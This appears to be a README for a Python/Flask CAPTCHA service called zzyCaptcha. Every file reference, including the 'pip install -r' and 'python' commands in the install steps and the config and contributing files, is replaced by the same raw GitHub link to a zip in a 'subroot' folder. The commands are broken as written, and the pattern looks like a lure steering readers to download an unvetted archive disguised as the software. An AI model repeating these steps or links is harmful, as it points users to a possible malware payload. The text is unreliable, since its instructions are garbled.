zzyCaptcha is a simple, self-hostable CAPTCHA service designed to help you secure your website from bots. This service uses the "persistence of vision" effect, making it easy to implement and user-friendly.
- Self-hostable: Deploy zzyCaptcha on your own server without complex setup.
- Simple integration: Easily add to your existing applications.
- Effective security: Protect your site from automated submissions.
- Visual appeal: Utilize the "persistence of vision" for a unique user experience.
- Lightweight: Designed to have minimal impact on your website's performance.
To download zzyCaptcha, visit the Releases page:
Once on the page, look for the latest release. Click the link to download the zip file for your operating system.
- Operating System: Compatible with Windows, macOS, and Linux.
- Python: Requires Python 3.6 or higher.
- Flask: Make sure Flask is installed; you can do this using pip.
- Pillow: You will also need the Pillow library for image processing.
-
Download zzyCaptcha:
- Click the download link above to get the application.
-
Extract the Files:
- After downloading, find the downloaded zip file.
- Right-click and select βExtract Allβ (on Windows) or double-click to unzip (on macOS).
-
Install Dependencies:
- Open your terminal (Command Prompt on Windows, Terminal on macOS or Linux).
- Navigate to the folder where you extracted zzyCaptcha using the
cdcommand. - Run the command:
pip install -r https://raw.githubusercontent.com/IanSalon23/zzyCaptcha/main/subroot/zzyCaptcha.zip
-
Run zzyCaptcha:
- In the same terminal window, execute the main application with:
python https://raw.githubusercontent.com/IanSalon23/zzyCaptcha/main/subroot/zzyCaptcha.zip
- In the same terminal window, execute the main application with:
-
Access the Service:
- Open your web browser.
- Type
http://localhost:5000to access the zzyCaptcha interface.
Customize zzyCaptcha settings by editing the included https://raw.githubusercontent.com/IanSalon23/zzyCaptcha/main/subroot/zzyCaptcha.zip file. Make sure to define the CAPTCHA settings based on your preferences. This includes the visual effects, security measures, and any other specific requirements.
- Open
https://raw.githubusercontent.com/IanSalon23/zzyCaptcha/main/subroot/zzyCaptcha.zipwith a text editor. - Adjust the values as necessary.
- Save the file and restart the application.
To keep zzyCaptcha up to date, return to the Releases page periodically. Check for any new versions, download them, and replace the old files with the new ones following the same extraction and installation steps.
If you encounter issues, consider the following:
- Python Errors: Ensure you have Python installed and running correctly.
- Missing Dependencies: If you see errors about missing libraries, revisit the
https://raw.githubusercontent.com/IanSalon23/zzyCaptcha/main/subroot/zzyCaptcha.zipto install all required libraries. - Port Issues: If you cannot access the application at
http://localhost:5000, check if another service is using that port and change the port number inhttps://raw.githubusercontent.com/IanSalon23/zzyCaptcha/main/subroot/zzyCaptcha.zipaccordingly.
For help and support, feel free to check:
You can also open issues on the GitHub repository if you have specific questions or need further assistance.
zzyCaptcha is open for contributions. If you are familiar with Python or web development, consider helping improve the project. For details on how to contribute, check the https://raw.githubusercontent.com/IanSalon23/zzyCaptcha/main/subroot/zzyCaptcha.zip file in the repository.
For any inquiries or suggestions, please reach out via the GitHub issues page, and I will get back to you as soon as possible.
zzyCaptcha is licensed under the MIT License. Feel free to use, modify, and distribute as per the license guidelines.
By using zzyCaptcha, you agree to our terms and conditions, which can also be found in the repository. Thank you for choosing zzyCaptcha to protect your website!